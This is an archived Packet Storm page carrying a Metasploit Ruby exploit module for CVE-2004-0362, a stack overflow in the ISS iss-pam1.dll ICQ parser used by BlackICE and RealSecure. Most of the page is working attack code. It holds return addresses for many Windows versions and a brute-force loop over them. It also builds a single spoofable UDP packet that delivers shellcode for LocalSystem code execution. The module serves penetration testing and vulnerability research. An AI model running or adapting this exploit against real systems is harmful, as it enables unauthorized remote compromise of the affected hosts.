exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ISS PAM.dll ICQ Parser Buffer Overflow

ISS PAM.dll ICQ Parser Buffer Overflow
Posted Nov 26, 2009
Authored by spoonm | Site metasploit.com

This Metasploit module exploits a stack overflow in the ISS products that use the iss-pam1.dll ICQ parser (Blackice/RealSecure). Successful exploitation will result in arbitrary code execution as LocalSystem. This exploit only requires 1 UDP packet, which can be both spoofed and sent to a broadcast address. The ISS exception handler will recover the process after each overflow, giving us the ability to bruteforce the service and exploit it multiple times.

tags | exploit, overflow, arbitrary, udp, spoof, code execution
advisories | CVE-2004-0362
SHA-256 | d67c5051b25bd521627ed2f0b421e431d2c7a7bc79507cd2dd85cb4525447b2a

ISS PAM.dll ICQ Parser Buffer Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Udp

def initialize(info = {})
super(update_info(info,
'Name' => 'ISS PAM.dll ICQ Parser Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in the ISS products that use
the iss-pam1.dll ICQ parser (Blackice/RealSecure). Successful exploitation
will result in arbitrary code execution as LocalSystem. This exploit
only requires 1 UDP packet, which can be both spoofed and sent to a broadcast
address.

The ISS exception handler will recover the process after each overflow, giving
us the ability to bruteforce the service and exploit it multiple times.
},
'Author' => 'spoonm',
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['CVE', '2004-0362'],
['OSVDB', '4355'],
['URL', 'http://www.eeye.com/html/Research/Advisories/AD20040318.html'],
['URL', 'http://xforce.iss.net/xforce/alerts/id/166'],
],
'Payload' =>
{
'Space' => 504 -31 -4,
'BadChars' => "\x00",
'MinNops' => 0,
'MaxNops' => 0,
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Bruteforce', { } ],
[ 'Bruteforce iis-pam1.dll', { 'Targets' => 3 .. 4 } ],
[ 'Bruteforce NT 4.0', { 'Targets' => 5 .. 15 } ],
[ 'iis-pam1.dll 3.6.06', { 'Ret' => 0x5e0a47ef } ],
[ 'iis-pam1.dll 3.6.11', { 'Ret' => 0x5e0da1db } ],
[ 'WinNT SP3/SP4/SP5', { 'Ret' => 0x777e79ab } ],
[ 'WinNT SP4/SP5', { 'Ret' => 0x7733b8db } ],
[ 'WinNT SP5/SP6 - advapi32', { 'Ret' => 0x77dcd1cb } ],
[ 'WinNT SP3/SP5/SP6 - shell32', { 'Ret' => 0x77cec080 } ],
[ 'WinNT SP5/SP6 - mswsock', { 'Ret' => 0x7767ebca } ],
[ 'WinXP SP0/SP1 - shell32', { 'Ret' => 0x776606af } ],
[ 'WinXP SP0/SP1 - atl', { 'Ret' => 0x76b305a7 } ],
[ 'WinXP SP0/SP1 - atl', { 'Ret' => 0x76e61a21 } ],
[ 'WinXP SP0/SP1 - ws2_32', { 'Ret' => 0x71ab7bfb } ],
[ 'WinXP SP0/SP1 - mswsock', { 'Ret' => 0x71a5403d } ],
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],
[ 'Win2000 SP0 - SP4', { 'Ret' => 0x750231e2 } ],
[ 'Win2000 SP2/SP3 - samlib', { 'Ret' => 0x75159da3 } ],
[ 'Win2000 SP0/SP1 - activeds', { 'Ret' => 0x77ed0beb } ],
[ 'Windows XP Pro SP0 English', { 'Ret' => 0x77e3171b } ],
[ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ],
[ 'WinXP SP0 - SP1', { 'Ret' => 0x71aa3a4b } ],
[ 'Win2003 SP0', { 'Ret' => 0x71bf3cc9 } ],
],
'DisclosureDate' => 'Mar 18 2004',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(1)
], self.class)
end

def exploit
datastore['RPORT'] = rand(65536) if rport == 1

targs = [ target ]

if target.name =~ /^Brute/
if target['Targets']
targs = []

target['Targets'].each { |idx|
targs << targets[idx]
}
else
targs = targets.dup

targs.delete_at(0)
targs.delete_at(0)
targs.delete_at(0)
end
end

targs.each { |targ|
print_status("Trying target #{targ.name} [#{"%.8x" % targ.ret}]...")

shellcode = payload.encoded + rand_text_english(payload_space - payload.encoded.length)
email = rand_text_english(19) + [targ.ret].pack('V') + shellcode

# Hopefully this structure is correct -- ported from msf 2. Blame me
# (skape) if it doesn't work!
packet =
# SRV_MULTI
[5, 0, 0, 530, 0, 0, 1161044754, 0, 2].pack('vcVvvvVVc') +
# SRV_USER_ONLINE
[5, 0, 0, 110, 0, 0, 1161044754, 0].pack('vcVvvvVV') +
[1161044754, 1, 0, 0, 0, 0, 0].pack('VVVVcVV') +
# SRV_META_USER
[5, 0, 0, 990, 0, 0, 2018915346, 0].pack('vcVvvvVV') +
"\x00\x00\x0a" + # subcommand / success
"\x00\x00" + # nick length / nick
"\x00\x00" + # first length / first
"\x00\x00" + # last length / last
[email.length].pack('v') + email +
"\x00\x00\x00\x00\x00\x00\x00"

print_status("Sending UDP request to #{datastore['RPORT']} (#{packet.length} bytes)")

connect_udp(true, { 'CPORT' => 4000 })
udp_sock.put(packet)
disconnect_udp

print_status("Sleeping (giving exception handler time to recover)")

sleep(5)
}
end

end
Login or Register to add favorites

File Archive:

October 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    10 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    12 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    18 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close